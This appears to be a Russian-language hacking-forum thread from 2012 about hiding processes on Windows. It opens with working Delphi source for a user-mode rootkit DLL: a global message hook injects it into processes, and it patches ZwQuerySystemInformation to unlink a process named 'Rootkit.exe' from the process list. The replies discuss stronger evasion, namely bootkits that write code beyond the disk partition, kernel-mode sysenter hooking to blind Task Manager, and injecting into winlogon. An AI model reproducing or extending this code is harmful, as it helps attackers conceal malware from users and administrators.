var SH:HHOOK; HiddenProcess:string = 'Rootkit.exe';
SystemFunctionBridge:TFunctionRestoreData;
function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer; ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall; var info,back_Proc:PSYSTEM_PROCESSES; begin UnHookCodeHook(@SystemFunctionBridge); Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength); SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge); if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit; if Result<>STATUS_SUCCESS then exit; info:= ASystemInformation; repeat if info^.ProcessName.Buffer = HiddenProcess then begin back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta; end; back_Proc:=info; Info := pointer(dword(info) + info^.NextEntryDelta); until Info^.NextEntryDelta = 0; end;
function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall; begin CallNextHookEx(SH,code,wParam,lparam); end; procedure SetWindowsHook(e:Boolean); stdcall; var M:THandle; begin if e then begin m:=CreateMutex(0,false,MutexName); if m=0 then exit; SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0); end else UnhookWindowsHookEx(sh); end;
procedure DLLEntryPoint(dwReason:DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin // StopProcess(GetCurrentProcessId); SetWindowsHook(true); SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge); // ResumeProcess(GetCurrentProcessId); end; DLL_PROCESS_DETACH: begin // StopProcess(GetCurrentProcessId); SetWindowsHook(false); UnHookCodeHook(@SystemFunctionBridge); //ResumeProcess(GetCurrentProcessId); end; end; end;
begin DllProc:= @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end.
Так не интересно.....Из третьего кольца прятать процесс.....А набери в cmd tasklist.Ты увидешь свою прогу. Надо хукать из ring 0,писать драйвер режима ядра.Тогда и tasklist не покажет.
Лучше всего процесс и не создавать.Вот буткиты как делают,они пишут по-байтно рабочий код в сектор,который дальше чем раздел диска(там место для этого точно хватит и оно ни кем не используется),потом при загрузки считывают этот код и он в памяти,прям как в старые досовские времена Так что давай лучше буткит писать.
А кто знает как сделать так чтобы в диспетчере задач вообще не отображались процессы?
помоему Neo уже где то писал статью о том какие функции за это могут отвечать, если я не ошибаюсь, но где то точно видел, нада поискать...
Quote (Neo)
Вот буткиты как делают,они пишут по-байтно рабочий код в сектор,который дальше чем раздел диска(там место для этого точно хватит и оно ни кем не используется),потом при загрузки считывают этот код и он в памяти
а он разве остается в памяти уже после загрузки винды, когда юзер зашел под своей учетной записью, и так же функционирует? на сколько мне известно, буткиты используют определенный участок памяти для загрузки кода, и по функционалу в период запуска операционной системы он очень ограничен, не будет же нашь код начинать работу пока пользователь не вошел в свою учетку?, хотя я в буткитах не очень разбираюсь, и толком не представляю как они работают, но было бы очень интересно собрать что то подобное...
Сообщение отредактировал xXxSh@dowxXx - Среда, 13.06.2012, 16:46
А кто знает как сделать так чтобы в диспетчере задач вообще не отображались процессы?
диспетчер получает список процессов через zwquerysysteminformation. по идее надо хукать sysenter , получать указатель EPROCESS процесса, который вызвал в обработчике, и если это диспетчер, то слать его нах
Сообщение отредактировал vvova15 - Четверг, 14.06.2012, 20:54
dolphin, в плане? как вариант-инжект в один процесс (например,ATI или winlogon...) а свой удаляешь и работаешь от него... или же руткит)) он любой процесс скроет...
кстати про хукинг системных сервисов недавно писал http://sysprogramming.ru/?p=92 ) если конкретный процесс скрыть вообще то просто похукать zwquerysysteminformation, а если именно от диспетчера и именно все, то см. мой предыдущий пост. правда с sysenter заморочки есть: прикол в том что sysenter это уже не юзермодный режим но и не режим ядра, и придется чтобы перейти в ring0, вручную прогружать ядреный стэк, перезаугржать селекторы юзермодных SS,DS и много другой херни. потом ты попадеш контекст процесса, вызвавшего sysenter и уже сможеш получить id Процесса функцией psgetcurrrentprocessid. ну а потом проверить какой процесс запросил вызов zwquerysysteminformation и сравнить с id Диспетчера задач
Сообщение отредактировал vvova15 - Четверг, 14.06.2012, 21:08